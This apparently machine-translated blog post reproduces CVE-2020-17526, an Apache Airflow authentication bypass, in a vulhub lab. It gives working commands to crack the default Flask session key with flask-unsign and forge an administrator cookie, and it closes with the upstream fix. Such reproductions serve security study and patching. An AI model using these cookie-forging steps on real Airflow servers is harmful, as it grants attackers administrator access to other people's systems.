当前位置:网站首页>Vulnerability recurrence ----- 49. Apache airflow authentication bypass (cve-2020-17526)
Vulnerability recurrence ----- 49. Apache airflow authentication bypass (cve-2020-17526)
2022-07-07 23:19:00 【Seven days】
List of articles
One 、Apache Airflow brief introduction
Apache Airflow yes python A program written in 、 A platform for scheduling and monitoring workflows .
Except for a few server-side python Outside the script , It is also based on Flask Compiling Web Applications , The Web Applications Use Flask Stateless signature of cookie To store and manage successful authentication
. During installation , have access to Airflow Command create user , In the document, the user is a user with the administrator role . Any subsequent user can use Airflow python Script from the Web Interface or command line creation .
Two 、 Causes of loopholes
Airflow<=1.10.13
edition
CVE-2020-17526
The cause of the loophole is :
because Use the default security key to sign the authentication information
, Cause security configuration error . When the user logs in , Will set a name session Of cookie , It includes json Format user authentication information .json Middle name is user_id The key of identifies the logged in user . this json Use in airflow.cfg Sign the string configured in the configuration file . stay 1.10.15 and 2.0.2 Before the release , This string is set to temporary_key
. Neither the official documentation nor the installation message explains how to change this key .
The default key is temporary_key
Problems caused :
An attacker can create a local installation of the same version as the target , Log in as an administrator and set the session cookie Replay to the target to log in as an administrator on the remote computer .
under these circumstances , Tools can be used to decrypt and identify plaintext json character string , And then update user_id Parameters and will cookie Resend to the server to simulate the specified user_id Users of .
curl -v url
: Show url The whole response process flask-unisign
explain : Mentioned above web The program is based on Flask
To write ,Flask cookie It is signed, not encrypted
, So get a session cookie after , You can try to brutally crack the key of the server .
3、 ... and 、 Loophole recurrence
With vluhub For example, the range :
docker-compose run airflow-init
docker-compose up -d
The landing page is as follows
Visit the landing page , from Cookie Get the session string :curl -v http://192.168.0.65:8080/admin/airflow/login?next=%2Fadmin%2F
install flask-unsign
Tools , Crack session key
pip3 install flask-unsign[wordlist]
pip3 install flask-unsign
flask-unsign -u -c eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOTkwNWUzODllMDVkMGM1ZDg1MGY3MjQ2NTIwOTg4YjBjNDIyMGM3NCJ9.YsTwjQ.6yxe4ePTy6CRnwZ7z0uok9iQUg8
Use the obtained key , Generate user_id by 1 Conversation :
flask-unsign -s --secret " temporary_key" -c "{
'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}
Use what you get session Replace the original session:
eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlLCJ1c2VyX2lkIjoiMSJ9.YsT78A.2Ko-OKIeb38SsKijmv1YRuC-Npc
Successful visit :
Four 、 Loophole defense
CVE-2020-17526 In version 1.10.15 and 2.0.2 By deleting static strings and adding b64encode(os.urandom(16)).decode('utf-8')
Repair with the generated random string as the key Web The application server will be used for authentication . Besides , If the key is found to be temporary , Then add the following code to webserver Command the module to shut down the server .
if conf.get('webserver', 'secret_key') == 'temporary_key':
from rich import print as rich_print
rich_print(
"[red][bold]ERROR:[/bold] The `secret_key` setting under the webserver config has an insecure "
"value - Airflow has failed safe and refuses to start. Please change this value to a new, "
"per-environment, randomly generated string, for example using this command `[cyan]openssl rand "
"-hex 30[/cyan]`",
file=sys.stderr,
)
sys.exit(1)
Reference link :
https://vulhub.org/#/environments/airflow/CVE-2020-17526/
边栏推荐
- 成年人只有一份主业是要付出代价的,被人事劝退后,我哭了一整晚
- 为什么市场需要低代码?
- Solve the problem of duplicate request resource paths /o2o/shopadmin/o2o/shopadmin/getproductbyid
- 位运算(Bit Operation)
- 漏洞复现----49、Apache Airflow 身份验证绕过 (CVE-2020-17526)
- leetcode-520. 检测大写字母-js
- U盘拷贝东西时,报错卷错误,请运行chkdsk
- 解决:信息中插入avi格式的视频时,提示“unsupported video format”
- 经纬度PLT文件格式说明
- Unity3D学习笔记6——GPU实例化(1)
猜你喜欢
Wechat forum exchange applet system graduation design completion (6) opening defense ppt
13、 System optimization
leetcode-520. Detect capital letters -js
Add data analysis tools in Excel
re1攻防世界逆向
Wechat forum exchange applet system graduation design completion (1) development outline
微信论坛交流小程序系统毕业设计毕设(8)毕业设计论文模板
云原生正在吞噬一切,开发者该如何应对?
Installing spss25
JMeter interface automated test read case, execute and write back result
随机推荐
位运算(Bit Operation)
网络安全-联合查询注入
聊聊支付流程的设计与实现逻辑
Gee (III): calculate the correlation coefficient between two bands and the corresponding p value
LDO稳压芯片-内部框图及选型参数
Installing spss25
Grid
Lecture 30 linear algebra Lecture 5 eigenvalues and eigenvectors
Wechat forum exchange applet system graduation design completion (4) opening report
opencv scalar传入三个参数只能显示黑白灰问题解决
Exploratory data analysis of heartbeat signal
ArcGIS:字段赋值_属性表字段计算器(Field Calculator)依据条件为字段赋值
Vs extension tool notes
Software test classification
[untitled] reprint melting ice - track icedid server with a few simple steps
Cloud native is devouring everything. How should developers deal with it?
[microservices SCG] gateway integration Sentinel
Technology at home and abroad people "see" the future of audio and video technology
The 19th Zhejiang Provincial Collegiate Programming Contest VP记录+补题
GEE(三):计算两个波段间的相关系数与相应的p值